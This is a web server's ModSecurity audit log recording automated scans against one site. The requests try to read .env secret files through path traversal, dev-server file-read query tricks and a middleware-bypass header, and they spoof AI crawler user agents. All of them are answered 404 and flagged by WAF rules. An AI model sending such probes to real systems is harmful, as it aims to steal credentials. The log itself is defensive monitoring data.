Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqZdNGM7dE9KgIIOpQhxiwAAAM4"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287732180402 142898 (- - -)
Stopwatch2: 1789287732180402 142898; combined=3704, p1=254, p2=3391, p3=0, p4=0, p5=59, sr=83, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ea002e3e-Z--

--b0336a1e-A--
[13/Sep/2026:11:22:12.376337 +0300] aqZdNGM7dE9KgIIOpQhxjQAAAMo 34.80.249.255 53100 127.0.0.1 7081
--b0336a1e-B--
GET /.env.local?raw HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--b0336a1e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--b0336a1e-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqZdNGM7dE9KgIIOpQhxjQAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqZdNGM7dE9KgIIOpQhxjQAAAMo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287732239680 136720 (- - -)
Stopwatch2: 1789287732239680 136720; combined=64197, p1=255, p2=63874, p3=0, p4=0, p5=67, sr=107, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b0336a1e-Z--

--8c553c28-A--
[13/Sep/2026:11:22:12.619391 +0300] aqZdNDTJ6xTvcJoem7f50QAAAEU 34.80.249.255 53112 127.0.0.1 7081
--8c553c28-B--
GET /.env.local?import&raw HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--8c553c28-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--8c553c28-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqZdNDTJ6xTvcJoem7f50QAAAEU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqZdNDTJ6xTvcJoem7f50QAAAEU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287732466278 153168 (- - -)
Stopwatch2: 1789287732466278 153168; combined=43479, p1=252, p2=43162, p3=0, p4=0, p5=65, sr=88, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8c553c28-Z--

--467ff041-A--
[13/Sep/2026:11:22:12.734056 +0300] aqZdNGM7dE9KgIIOpQhxkAAAAM8 34.80.249.255 53156 127.0.0.1 7081
--467ff041-B--
GET /@fs/app/.env?import&raw?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: CCBot/2.0 (https://commoncrawl.org/faq/)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--467ff041-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--467ff041-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/@fs/app/.env"] [unique_id "aqZdNGM7dE9KgIIOpQhxkAAAAM8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287732654079 80035 (- - -)
Stopwatch2: 1789287732654079 80035; combined=3382, p1=217, p2=3097, p3=0, p4=0, p5=67, sr=81, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--467ff041-Z--

--26523208-A--
[13/Sep/2026:11:22:12.893240 +0300] aqZdNEwu1RSkptiiNIX2vQAAAJQ 34.80.249.255 53166 127.0.0.1 7081
--26523208-B--
GET /@fs/app/.env.local?import&raw?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--26523208-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--26523208-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/@fs/app/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/@fs/app/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/@fs/app/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/@fs/app/.env.local"] [unique_id "aqZdNEwu1RSkptiiNIX2vQAAAJQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/@fs/app/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/@fs/app/.env.local"] [unique_id "aqZdNEwu1RSkptiiNIX2vQAAAJQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287732795279 98041 (- - -)
Stopwatch2: 1789287732795279 98041; combined=34073, p1=217, p2=33799, p3=0, p4=0, p5=57, sr=93, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--26523208-Z--

--0fc0613d-A--
[13/Sep/2026:11:22:12.964606 +0300] aqZdNGM7dE9KgIIOpQhxkgAAAMA 34.80.249.255 53180 127.0.0.1 7081
--0fc0613d-B--
GET /@fs/src/.env?import&raw?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--0fc0613d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--0fc0613d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/@fs/src/.env"] [unique_id "aqZdNGM7dE9KgIIOpQhxkgAAAMA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287732889035 75665 (- - -)
Stopwatch2: 1789287732889035 75665; combined=4123, p1=247, p2=3769, p3=0, p4=0, p5=107, sr=91, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0fc0613d-Z--

--4b16614b-A--
[13/Sep/2026:11:22:13.059127 +0300] aqZdNEwu1RSkptiiNIX2vgAAAIE 34.80.249.255 53188 127.0.0.1 7081
--4b16614b-B--
GET /@fs/../.env?import&raw?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; OAI-SearchBot/1.0; +https://openai.com/searchbot)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--4b16614b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--4b16614b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqZdNEwu1RSkptiiNIX2vgAAAIE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287732972324 86859 (- - -)
Stopwatch2: 1789287732972324 86859; combined=4378, p1=310, p2=4020, p3=0, p4=0, p5=48, sr=124, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4b16614b-Z--

--2540795d-A--
[13/Sep/2026:11:22:13.300372 +0300] aqZdNWM7dE9KgIIOpQhxkwAAANE 34.80.249.255 53206 127.0.0.1 7081
--2540795d-B--
GET /.env.local?.svg?.wasm?init HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--2540795d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--2540795d-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqZdNWM7dE9KgIIOpQhxkwAAANE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqZdNWM7dE9KgIIOpQhxkwAAANE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287733010494 289942 (- - -)
Stopwatch2: 1789287733010494 289942; combined=36220, p1=261, p2=35898, p3=0, p4=0, p5=61, sr=112, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2540795d-Z--

--1ffe930a-A--
[13/Sep/2026:11:22:13.303698 +0300] aqZdNWM7dE9KgIIOpQhxlAAAAMs 34.80.249.255 53202 127.0.0.1 7081
--1ffe930a-B--
GET /.env?.svg?.wasm?init HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--1ffe930a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--1ffe930a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:.svg?.wasm?init"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:.svg?.wasm?init"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqZdNWM7dE9KgIIOpQhxlAAAAMs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287733014905 288848 (- - -)
Stopwatch2: 1789287733014905 288848; combined=3285, p1=204, p2=2934, p3=0, p4=0, p5=147, sr=79, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1ffe930a-Z--

--1589e272-A--
[13/Sep/2026:11:22:14.245987 +0300] aqZdNisVWymXUono-eRUUgAAABI 34.80.249.255 53462 127.0.0.1 7081
--1589e272-B--
GET /build../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--1589e272-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--1589e272-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/build../.env"] [unique_id "aqZdNisVWymXUono-eRUUgAAABI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287734171252 74790 (- - -)
Stopwatch2: 1789287734171252 74790; combined=4312, p1=213, p2=4056, p3=0, p4=0, p5=43, sr=84, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1589e272-Z--

--84c70b22-A--
[13/Sep/2026:11:22:14.281980 +0300] aqZdNkwu1RSkptiiNIX2xQAAAJg 34.80.249.255 53444 127.0.0.1 7081
--84c70b22-B--
GET /public../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--84c70b22-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--84c70b22-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/public../.env"] [unique_id "aqZdNkwu1RSkptiiNIX2xQAAAJg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789287734072636 209413 (- - -)
Stopwatch2: 1789287734072636 209413; combined=4592, p1=215, p2=4323, p3=0, p4=0, p5=54, sr=80, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--84c70b22-Z--

--d77b4d2f-A--
[13/Sep/2026:11:22:14.322714 +0300] aqZdNisVWymXUono-eRUUwAAAAs 34.80.249.255 53466 127.0.0.1 7081
--d77b4d2f-B--
GET /css../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)
Accept: */*
Cookie: csrfToken=GRJl3A%2FrKPIbFD5j0V6wJTAyYjY4ZTBhYTM4NDRlOGYzNmY1MzM5NzRjODE1MTczZTA1YTk1MmI%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--d77b4d2f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--d77b4d2f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
